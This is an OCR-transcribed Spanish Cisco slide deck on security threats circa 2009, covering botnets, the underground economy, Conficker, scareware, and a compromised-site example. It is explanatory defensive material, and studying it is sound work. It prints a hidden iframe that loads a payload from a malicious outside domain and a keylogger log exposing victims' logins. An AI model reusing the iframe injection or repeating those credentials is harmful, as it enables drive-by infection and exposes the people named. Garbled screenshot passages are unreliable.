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Amenazas del presente, pasado y futuro

= |ngenieria social
= Stanley Rifkin, 1978

= Security Pacific National Bank,
Los Angeles, CA

= Mike Hansen, departamento N D. A
InternaCIOnal & William L. Simon

= Record Guiness - fraude
computacional mas grande de la
historia

= Seguridad trasciende a la
tecnologia




Amenazas de seguridad - tendencias

= (Ganancias, colaboracion, innovacion

= Atague en profundidad — multiples
metodos para asegurar que la
debilidad sera explotada

= Aumento en numero de
vulnerabilidades (~ 6000 el 2008) y
vectores de propagacion

= Malware y robo mas soterrado

= Fuga de informacion y bancos
virtuales

= \ector web es el mas debil



» MALWARE

Gusanos, Virus,
Troyanos, Spyware,
Adware, Grayware,
Ransomware,

» BOTNETS

Uso en DDoS/SPAM,
peer-to-peer, encriptacion
uso de HTTP, polymorf,
rootkits, honeypot

» PHARMING

Abuso DNS, host files,
home router para
redireccion a website
suplantando original

Amenazas actuales

» SPAM

Hit and run, pump and

dump, 419, spamoetry,
obfuscacién ...

» PHISHING

Ingenieria social, aun
efectivo, captura
user/pass via email/web.

» I[P TELEPHONY

SPIT, fuzzing, DoS,

carriers ($3), vishing,
man-in-the-middle




La economia underground

Current | Previous Current Previous
Rank Rank Goods and Services Per:enta:a Pnr:antage Range of Prices

Bank accounts $10-$1000
2 1 Credit cards 13% 22% $0.40-$20
3 7 Full identities 9% 6% $1-915
4 M/A eBay accounts 7% MN/A $1-98
5 8 Scams 7% 6% $2.50/week-$50/week for hosting,
$25 for design
6 4 Mailers 6% 8% $1-%10
7 Email addresses 5% 6% $0.83/ME-$10/MB
8 Email passwords 5% 8% $4-%30
g MN/A Drop (request or offer) 5% M/ 10%-50% of total drop amount
10 6 Proxies 5% 6% $1.50-$30

Table 4. Breakdown of goods and services available for sale on underground economy serversSs
Source: Symantec Corporation

Fuente: Symantec



Estadisticas locales
Web defacement

Ble Edit Yew Favortes Tools Help

Qe - @ - [ 2] T | O o

Address | ] htpsf v, zone-h.orgfsrchive

v B ks ™

Notify

i e | = Enero 1999 — Mayo 2009

pate | ALL ViiUEHJanuary (1993 v | [ Apply filter ]

Total attacks: 16877 of which 3688 single ip and 13189 mass defacements

Legend:

A aqgues adominio .
H - Homepage defacement
M - Mass defacernent (click to view all defacarnents of this IF)
R - Redefacernent (click to view all defacarnents of this site) a a l I eS
¥ - Special defacement (special defacements are impartant websites)

Time Attacker H M R 7 Domain os View

2009/05/22 LatinHackTearmn ¥ www.municipalidadtucapel.clive... Linus mirror [

2008/05/22 LatinHackTearn ¥ www.rioclaro. clfwebfindesx. php Linus mirror [ ] 3 6 8 8 S I n I e I P
2009/05/21 ZiyaretCi H ces. derca.cl win 2000 mirror

2008/05/21 HIADER www. puertoclaraconsultores.df.., win 2003 rirror

2008/05/21 HIADER taristurunen, cfsitiof portals/... win 2003 rirror

2008/05/21 linuxploit_crew H wwi, cpdata, ol win 2000 rirror .
2008/05/20 LatinHackTearn H R www.eficiencasnsrgatios. <l Linusx rirror [ ] 1 3 1 6 9 m aS IVOS
2005/05/18 LatinHackTearm H M avizoamil.d win 2003 rirror

2005/05/18 LatinHackTearm H M biocar.dl win 2003 rirror

2005/05/18 LatinHackTearm H M agendasinfantiles.d win 2003 rirror

2005/05/18 raoracean-alien R wwwnepcigallery Linus rairrar

2008/05/18 Oloroko H www.reeca.cl win 2003 mirrar

2008/05/16 Black_WhITE H M calportajeestudiantil.cl Linus mirror

2008/05/18 :Z‘;’:ErH‘TMAN " ceppeolegiohuguet. clf wp-content/ Linux mirrar

2008/05/16 :Z‘;’:ErH‘TMAN ™ patagoniacorretajes.clie107_pl.. Linus mirrar i

2009/05/15 :Z’;‘i‘"g T:;rf " www.materna. clf portals/0fpersi... win 2003 mirrar

2005/05/15 Harin | Boys www.nuevaparentalidad diparta, ., Win 2000 rirrer

Hacking Team
2009/05/15 linuXplait_crew H hatservice, ol Linus mirrar
Persian _ Boys

2009/05/15 S Rg T aa www. dytsystems. dipartals/fpe... win 2008 mirrar
Persian _ Boys ’
2009/05/15 e Tham ¥ www.coopehile gov.clfportals/a.,., Linux rairrar v
&) Error on page. ® Internet
=

Fuente: http://www.zone-h.org



Botnets en Chile
= Botnet IRC servers
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I . - @
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= Fast flux Bots

T

Fuente: ATLAS — Arbor Networks — Mayo 2009



Botnet Command and Control

[Remark: dispayed only online socks (socks that was in online in last 20 minutes)
[Remark: to copy IP or ID to cliphoard press button " copy IP" or " copy ID"

Select by country | All countries A |

Select by state T

Current country selected: all
Current state selected: all

[CopylP 78.178.138.171 57253 :'{P[:HZBSEg!ZLEZTZE}{FLHHUDJm{PUHH

[CopylP 72.153.6.139 39112 NHAWFUNDOTCUJFLZUQUPSCLHFHUUATC
[CopyIP 86.138.218.148 31295 KQAPBQXEYGHBJTYURAHGOUHSPGAPEVR
[CopyIP 78.229.125.18 32924 DUYFSDPYDIORNSFYXI0SUDAFHDBEHTC
[CopyIP 84.9.86.199 51169 BSYOUMQEPSSERBFTBIRFOHCKSHJUVKA
[CopylP 68.96.235.136 21535 KPNZBYSPUPZENYWEQNFUAUWFLFHSREY BE United States ntlanta GA
[CopyIP 78.232.92.129 17167 USPUOTULNTDYFLAZTHJSSUELRFFOKPY
[CopyIP 87.74.45.27 40415 CJKIXMIRLOZTFLSTLQSUZUPUWHJISEON
[Copy 1P 24.186.245.152 55147 ATOTJDEXFOIDCHNDJPALJRXKABULYKEU BE United States Lynbrook HY

T e A Y - TR %




Que se guarda en un nodo C&C?

Name Last modified ZGize Description

a Parent Directory 03-hug-2006 13:12 -
@ check.php 12-Mav-2006 15:43 1k
@ dupes.php 12-May-2006 15:43 1k
@ logger.php 12-May-2006 19:00 1k

[
logger.txt 10-hug-2006 15:37 211K < H
= —DOgEE. TXE J 211 MB File...
. socka.txt 10-Aug-2006 15:38 1k
[..:.:3 socks/ 25-May-2006 0D9:55 -
Apackefl. 334 Server at www.yops.biz Fart 80




-
B botnet controller excerpt - Motepad

Extracto de
archivo de 211
MB

Malware envia
lo tecleado al
nodo C&C

File Edit Format WYiew Help

REMOTE ADDRESS: 172.189.109.174

ID: BPAQZLZBELUWRYGVSXOT JHALUVNREXS
TIMESTAMP: 25\5 14:0:51

Copyright By smash and SARS

From: MATTHEW

Windows XP
Internet Explorer 6.0.2900.2180

e afe e nle afe whe fa afe e nfe afe whe fa afe ale nfe sl whe afa wle
nnnnnnnnnnnnnnnnnnnn

MAIL: POP383EEZ26C0
chal89

PAUL

10.0.0.4
http://petiteteeniemania.joindfree.com/_B645_bm9kZWQvNjyvbwo2awvsywSk LOFBOSY
TMxNDk30TQ2L22Bd1i 5UZGY55EJscUU=_E/ Login: chal89@aol.com Pass:

10.0.0.4 http://sibl.od2.com/common/Framework.aspx Login: chal89sPass:
10.0.0.4 http://uk.mcafee.com/root/login.asp

[ e e

#%% Protected Storage Data ends #%%

REMOTE ADDRESS: 125.23.22.246
ID: KOBERVBOUKQIPXGITEBBFSOQWSGXIFUMO .
TIMESTAMP: 31\12 19:47:37 Website

Passwords

e afe e mle afe whe fa afe af nfe afe whe fa wfe ala nfe le whe afa wle
nnnnnnnnnnnnnnnnnnnn

192.168.1.2 http://in.rediff.com/index.htm] Login: puneet.bhargava Pass:

ﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁﬁ

192.168.1.2 http://north.airtel-broadband.com/touchtelusernorth.html Login:

la afa o wls als uhs afa afs ol nls als uhs afa wls ofa xls sl whe ala wle
nnnnnnnnnnnnnnnnnnnn

192.168.1.2 http://sv2.freewh.com/index.php Login: udit_2001 Pass:

la als ol wls als whs sl als ol nls als whe afa ufe ol nls sl whe ala ule
nnnnnnnnnnnnnnnnnnnn

192.168.1.2 http://www.airtelworld.com/ Login: udit_2001 pass: |

e afe s mfe fe whe fa afe ol nfe fe whe fa wfe ala nfe ale whe afa wle
nnnnnnnnnnnnnnnnnnnn

192.168.1.2 http://www.airtelworld.com Login: 01152458021 Pass: |

VR R VO T WS T A T O Bl Y g W
nnnnnnnnnnnnnnnnnnnn

192.168.1.2 http://www.cooltoad.com/go/login Login: udit_2001 Pass: I

la als ol nls als ahs fa als ol nls als whs ol wls ol xls als ahe ala ule
nnnnnnnnnnnnnnnnnnnn

192.168.1.2 http://www.cooltoad.com/go/setup Login: udit_2001 pass: | GGz

e afe e mle fe whe fa afe ol nfe afe whe fa afe ale nfe sl whe afa wle
nnnnnnnnnnnnnnnnnnnn

192.168.1.2 http://www.indianmoviesclub.com/board/forumdisplay.php Login: ud

la afe afa mfe afe whe e afe e nfe afs whe fa ufe ala nfe fe whe afa wle
nnnnnnnnnnnnnnnnnnnn




Ecosistema de aplicaciones web
vulnerables

W SANS Top 20 Security Risks
24 http://www.sans.org/top20/#c1

= |E and Firefox vulnerables

-“...cientos de vulnerabilidades en controles ActiveX instaladas por
proveedores de software han sido descubiertas.”

= Media Players y Browser Helper Objects (BHO)
- RealPlayer, iTunes, Flash, Quicktime, Windows Media
- Explosion de BHOs y plugins de terceras partes

- Plug-ins son instalados de forma semi transparente por websites.
Usuarios no tienen conciencia del riesgo asociado, introduciendo un
nuevo vector de propagacion al visitar sitios web maliciosos.




Mpack: Infection Rate worldwide

19875 21.23

KA e - Japan
e DE - Germany
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13218 3947 29.86
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kingdom
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N
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Malware vence a firmas de antivirus
Conferencia DefCon

= Criminales han desarrollado herramientas para
mutar malware para vencer deteccion basada
en firmas

" Investigadores en DefCon probaron su teoria
nuevamente

= Seven virus y dos exploits, todos sumamente
conocidos, fueron mutados para vencer firmas
de antivirus

= Tiempo: 2 horas, 25 minutos



Seguridad en sistemas de control y
automatizacion

= USSR pipeline explosion, 1982

= Bellingham pipeline rupture, 1999

= Queensland sewage release, 2000

= Davis Besse nuclear plant infection, 2003
= Northeast USA blackout, 2003

= Browns Ferry nuclear plant scram, 2006

SCADA Security
Black Hat

BRIEFINGS AND TRAINING

Black Hat DC 2008 Media Archives



Ejemplo 1 — Fuga de informacion
Heartland Payment Systems Data Breach

= Procesa 100 millones de transacciones mensuales de 175,000
mercantes

= Fuga en segunda mitad del 2008, se notifica a Visa en Octubre

= Malware roba tarjetas de credito/debito al pasar por la red
- “Solo” numero de tarjetas, nombres y fechas de expiracion

= Vocero de Heartman:

= “Un bug extremadamente sofisticado ingreso a nuestro sistema.
No fue causado por falta de atencion por parte de nadie. Nos
estamos focalizando en actuar rapidamente para obtener la mejor
seguridad en el futuro.”

= 35% de baja en el precio de la accion, equivalente a reduccion de
capitalizacion de mercado de $200M |

= Tenian la certificacion PCI....




Ejemplo 2 - Gusano
Conficker/Downadup

= Microsoft anuncia update de seguridad MS08-067 23 Oct 2008

= MS08-067 es una vulnerabilidad que permite ejecucion de codigo
remota en puertos 139 0 445
- 2000, XP, Windows Server 2003 sin autenticacion
- Vista, Windows Server 2008 requiere autenticacion remota

= Conficker se transmite a traves de

- Scanning de la red local buscando vulnerabilidad
- Carpetas compartidas adivinando password de administrador
- Dispositivos de almacenamiento externo como pendrives (autorun.inf)

= Deshabilita lookups DNS a sitios de seguridad

= Genera 250 nombres de dominio a traves de algoritmo y se
conecta via HTTP

= Se estiman aproximadamente 9M de PCs infectados (F-Secure)
- 1% in EEUU, mientras que China, Rusia y Brasil tienen el 41%

= Cisco tiene productos que entregan proteccion (IPS, CS-MARS,
CSA, WSA)




Ejemplo 3 - Scareware

= Malware que asusta al usuario para comprar antivirus falso
= Aumenta los ingresos de centavos a dolares

= Infecta a traves de sitio web con ingenieria social de
antivirus, email y sitios web comprometidos

= Programa de afiliados disponible - bakasoftware.com

- Un afiliado gano $147k en 10 dias basados en 155K infecciones generando 2772
compras a $50 cada una - 5M anuales

3 XP antivirus - Microsoft Internet Explorer

Fle Edt View Favortes Took Help

Try before buy!
Q) pack ~ @ . B |8 Windows prosesses| I Flemove 3 Nuaaiie @ Google | <4 Buy Now
T Name Rating CPU Memory  File Type Title, Description Marufal
b = pphegtliep37.exe 2%

34MB CAWINDOWS system32\pphogtlilep3. eve Frogram
AXPODEstal v a

& tholnlep3z.exe

Vitual Machine Addiians
¥ Virtual Machine Addtions
[ virtual Machine Aditions

ervices - (0843FD0110 28, Micrasolt
s - (4252968 44004731 .. Microsoll

Regstration Support | Shaiing Servioe Miciosoft
A CTF Loader [ Microsoft|
Generic Host Pracess for Wind2 Servies —————— e Microsoit
Genstic Host Fosess o W2 Svces [T [ Mol
Generic Host Pracess for Wind2 Services EL Microsolt
AR P — Generiz Host Pracess for Wind2 Senvies Alert ! Your system is infected! Mictosst
Application Layer Gateway Service fected: 2794 Microsot
e : Windows NT Session Manager Microsolt
XP antivirus Online Scanner detected Clent Server Funlin Procass verip [ Status |~ Mictosolt
dangerous spyware on your system! BB Windows NT Lagon Application W Antivirus XP 2008 has Found 2794 threats. Tt is reconmended to proceed with removal. Jigh  Infected! Microsoft]
Detected malitous programs can damage your compl. J and compromise Sewicesond Contiollel oop e niedied, Microsal
e Genetic Host Pracess for Win32 Serviees Knawn viruses : 1025 il Lk e hisceey Miiassty
Spooler SubSystem App joh  Infected Miciosolt
tame Trpe Risk level System @ Win32/RCBAAH  The IRCBoLARH mawere famif s @ goup ofbot .. High  Iniected s Microsot
@ SpywarelEMonsterb Spywae CcRITICAL Systemide O WinBJRCBOLAH  The IRCBOLARH maware famil s a goupof bol .. Hih  Iniected Microsst
@ zobPornadvertiser Xplisit Spyware High a 3 Windows Messenger @ Wind2/FCBotasH  The [ACBoLASH mabware family fs agoupof bot . High  Infected! \Windows Messenger- Not .. Microsof
# TrojanInfostealerBanker.s Trojan Medium L, Secuity Task Manager W Vius WinOH Daangerous vinus. |t destructs your computer BIOS . High  Infected) s AN
“Windows S ecuity Center Notfication Apn 9 5 d todiplaypop.. High  Infected s Microsot
2 Automalic Updates © Wind/RCBAH  The IACBoLARH maware famib s 2 goup of bot .. High  Infected pto date. Microsolt
@ Inteme! Explorer | || wind2adwieVium.. Vius pplications sed to deliver sdverissments L. Low  Iniected tIntemet Explorer Miciosoft
[(Removert ] [ tnrs 3 Windows Explorer H el A Wind2/ToolbarMym... Toobar which inchides a seaich functon thal dve.. Ciical \nvmed\_jj lume: Microsott

Protection

B — ‘ with Antivirus XP
@[ Security Task Manage B =i
(5] A it dos

arily masn that 3 program is a threal,
thal it has chaacters

typically fotind in spywa

10 get mare o



Ejemplo 4 — Web sites comprometidos

NBC._

et et

El 18 de Marzo del 2008
DRAFTHQ :=iiioni., § ZDNet

history.com

. 1. Portland Greg Dden c T 280 Ohio Stale .
:;d , Sorno havo compaied hirm 10 Pale = W| red . CO m
HEL ' 2, Seatile Kevin Durant SF GBS 225 Tenas .
Mll. ¢ Wrgalde swangman destingd to - a rCh |Ve . 0 rg
:.;Lr r I 3. Mbanta Al Horford FF B0 5 Flonds
Coleas facthel . Poswr forward ready 1o slep in
Tennds o4 Memphis Hike Conley Jr. FE B 180 Oheo Siate
UPC B IPes ’ Poinl guard teamed with Qden 1 L. . 1
mm 1 5. Boston Jeff Graan 5F B8 235 Geargetown " VIS |taS eJ ecuta n u n SC” pt
P a—— i Thiz péck lraded 1o Seatlle 35 .
Fan zona b 6 Milwaukee i Jianlian FF TO0 20 China q u e I n te n ta g a n a r acceso
Mars faxinrax Chinese star fallows Yao Ming' .
:::ﬂ 1 1. Minnesota Corey Brewer 2% BT 185 Florda a | CO m p u tad O r d e |a V I S Ita
e Bosrs . Swingeman will be delensive wiz
T Istings. ¥ 8. Charlotte Brandan Wright FF  B& 205 Korh Catcting
On mesborus Long-armed and very alnletic,<
LS, naws [
Plbics . % Chicage Juiakirn Noah FF  EB11 232 Flords
e i : from knida Flonda big man has & non-stop

Butiness y 10. Sacramentn Spencer Hawies c o 30 Waehinglon



Ejemplo 4 — Web sites comprometidos
Ataque iFrame

= Minnesotahomefinance.com registrado en Godaddy en Junio 2005
= 209.51.132.218, Global Net Access en NY, con 312 domains

* Firebug - Credit : minnesotahomefinance.com

File Wiew Help

Inspect  Edit | a < div.headerleft -~ div#header - body - html
Console | HTML | €55 Script DOM  Net
B0 . T 52 T B
S<iframe width="1" height="1" src="http://aarmrgdxrv.com/dl/adv448 .php">

o~ ] el o Ml e S e B e e o B T WP 0 e ML

*Browser busca IFRAME y carga PHP de aarmrgdxrv.com

*85.255.121.195, Ukrtelegroup Ltd en Ucrania, con 15 dominios

*Ukrtelegroup es parte de RBN (Russian Business Network)
Otros dominios siguen el patron, ej. adtctqypoa.com...

«aarmrgdxrv.com registrado en BIZCN.COM, INC.
Dominio spam con ranking existente: #18 en volumen, #11 por % malo



Buena noticia
Se elimina Botnet McColo

Percentage of All Spam from Srizbi/Reactor Mailer
50.00%
0] - [ ]
45.00% 12 Nov: #1 Spam
40.00%
Botnet Shut Down

35.00% T H —

30.00% -

25.00% -

20.00% -

15.00% 1 t/\d

10.00% 7 =

5.00% -
0.000/0 I I I I I I I I I I I I I I I I
[ee] [e0] (e8] (o] [ee] [e0] [e0] [ee] [e0) [e0] [ee] [e0] [e0) [ee] (o)} o)) )] (o)}
o o o o o o o o o o o o o o o o o o
o o o o o o o o o o o o o o o o o o
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i o0 Tp} N [e)} LN Q| [e)} \o] ™M o N < — ~ < — (o0
~ ~ — o~ o ~ i i o~ ~ i i o~ ™M ~ i ) o
o o ~ ~ ~ — ~ ~ ~ N ~ ~ ~ ~ — ~ ~ ~
— i o o o i i i i i (gl (q\] o (q\] i i L]
i i i i i i i i i i




Buenas noticias 2008

Intercage, un proveedor de hosting en EEUU asociado con el
Russian Business Network es dado de baja

Intercage, a US hosting provider associated with the Russian
Business Network, was taken offline
= Opero en EEUU por afios de San Francisco dando apoyo a actividades criminales

EstDomains desacreditado por ICANN

- Registro de dominios haciendose pasar por compania estadounidense, controlada por
criminales rusos

Programa de afiliados de Spam SanCash/GenBucks dado de baja

- Perseguidos por oficiales de EEUU y Nueva Zelanda
- Afiliados de botnets enviaban spam de multiples productos



Relevancia Cisco




o
Cisco Self-Defending Network 3.0

Integracion

Integra Advanced Network,
Endpoint, Content, y Application
Security para amenazas
emergentes

Inspeccion del trafico

Protege contra las ultimas
amenazas usando informacién
obtenida de la red global

Solucion End-to-End

Provee una solucion End-to-end
con una amplia cobertura




&% Critical infrastructures are physical or virtual systems and assests
s0 vital that their incapacity or destruction would have a debilitating
impact on national economic security, public heath or safety, or any
combination of those matters. 99

Infraestructura critica

Section 1016.¢ UUSA Patriot Act

» Banca y Finanzas

» Quimicos U~y 3 P Servicios de
' Emergencias

» Comunicaciones i ¢ P Energia

» Agricultura y

» Defensa )
alimento

> Tecnologias de b= ) Salud publica

» Servicios postales SN » Transporte




Critical Infrastructure Assurance Group

= Educacion
= Entrenamiento

= |+D en seguridad de infraestructura
= Desarrollo de politicas y estandares
= Soporte de respuesta frente a incidentes

http://www.cisco.com/web/about/security/securit
y services/ciag/index.html




ISRD Research Projects

Industrial Hetworking Security

& Honeynet for SCADAS Environments

o NMetfiter Extenzions For Modbus/TCP

& SCADA Serial Link Protection

® Secure Administrative Access in SCADLS Metworks

Internet Infrastructures Security

¢ |nternet DS Scanning

# |PvE Security

& Malware inpact on Metwork Devices

Internet Routing Protocols Security

& BGP Attack Tree Development and Testing

¢ Foute Validation Graphs for Interdomain Routing

CIAG - Investigacion y desarrollo

Legal, Financial, and Operational Security

& Common Yulnerakility Scoring System

Physical Security

& Physical Security

Security Coding Practices
s egRFC

* Security Evaluation of an IP-Bazed Stack

» Software Engineering Best Practices

http://www.cisco.com/web/about/security/security services/cia

q/research/CIAG research projects.html




ecuritizacion de redes industriales
nfraestructura critica

and Implementation Guide - Implementation of Security [Desi

File Edit View Favorites Tools Help

rosoft Internet Explorer

@Eack ) B @ fh /'.'_) Search ‘i‘?Favnrites & L—j:' ‘:‘F i - _J é il . 3

fciress (@] hitpsfwww,cisco.com/enfUs]docs/solutionserticals ECtF Jchs_EE. html

leD

ar

Links:

Nmm
cisco

[=] Ethernet-ta-the-Factary 1.2 Design and Implementation Guide
Preface

Ethernet-to-the-Factory Solution Overview
Solution Architecture

Basic Netwaork Design

Implementation of the Cell/Area Zone
Implementation of Security

Implementation of High Availability
Implementation of Network Management
Characterization of the EttF Cell/area Zone Desian
Configuration of the EtF Cell/Area Zone
Configuration of the EXF Demilitarized Zone

EttF High Availability Testing

 En e e i e el i e s i e B

Ethernet-to-the-Factory 1.2 Design and Implementation Guide

Implementation of Security
e

~

Table Of Contents
Implementation of Security

Download this chapter
) mplemertation of Security

Cuerview
Metwark Device Hardening Download the complete book
Router ) Ethernet-to-the Factory 1.2

Deesign and Implemertation
Guide (PDF - 9 ME)

Basic Hardening Eettings
Authentication Settings

Management Access
Layer 2 Security Diesign
Frecautions for the Use of VLAN 1
Trust Level of Switch Ports
Spanning Tree Protocal Security
MAC Flooding Affack
WLAN Hopping
ARP Spoofing Attack
DHCP Attacks
Security Design for the Manufactuting Zone
Security Design forthe Catalyst 3750 Seties Switch That Agaregates Cell/Area Zone Metwarks
Security Desinn forthe Catalyst 4500 Series Switch for the Care ofthe Control Metwork
Security Design for the Catalyst 3750 Series Switch in the Server Farm
Security Protection for Servers
Security Design for the Dernilitarized Zone
Security Levels onthe Clsco ASA nterfaces
Conflguration Exarnple
Stateful Packet Filtering
Conflguration Exarnple
Authenticating Fitewall Sessions for User Access to Servers in the DMZ
Conflguration Exarnple
Integrating the ASA 5500 Appliance with the Adaptive Inspection Prevention Security Services Module
Access o the AIP-S5M Module
Inling Yersus Promiscuous Mode
Endpaint Pratection with Cisea Security Agent
Security Monitoring, Analysis, and Mitigation with C5-MARS

+ GIVE US FEEDBACK

Implementation of Security

Overview
The nuimber nf skilled harkers has moltinlied and a variete nf sanhisticated hacking fnnls are freebe available nn the Internet These tnnls exnlnit the way the

&

@ Daone

& Trusted sites

http://www.cisco.com/en/US/docs/solutions/Verticals/EttF/ch5 EttF.html




Cisco: Apoyando a nuestros clientes a efectuar el
viaje de soluciones aisladas a redes auto defensivas

= Self-Defending Network:
integrado, colaborativo,
adaptivo

= Habilita la practica de
seguridad en beneficio del
negocio

= Reduccion de riesgo,
complejidad y costo total de
propiedad mas bajo

= Protege, optimiza y crece su
negocio

cisco.com/go/security
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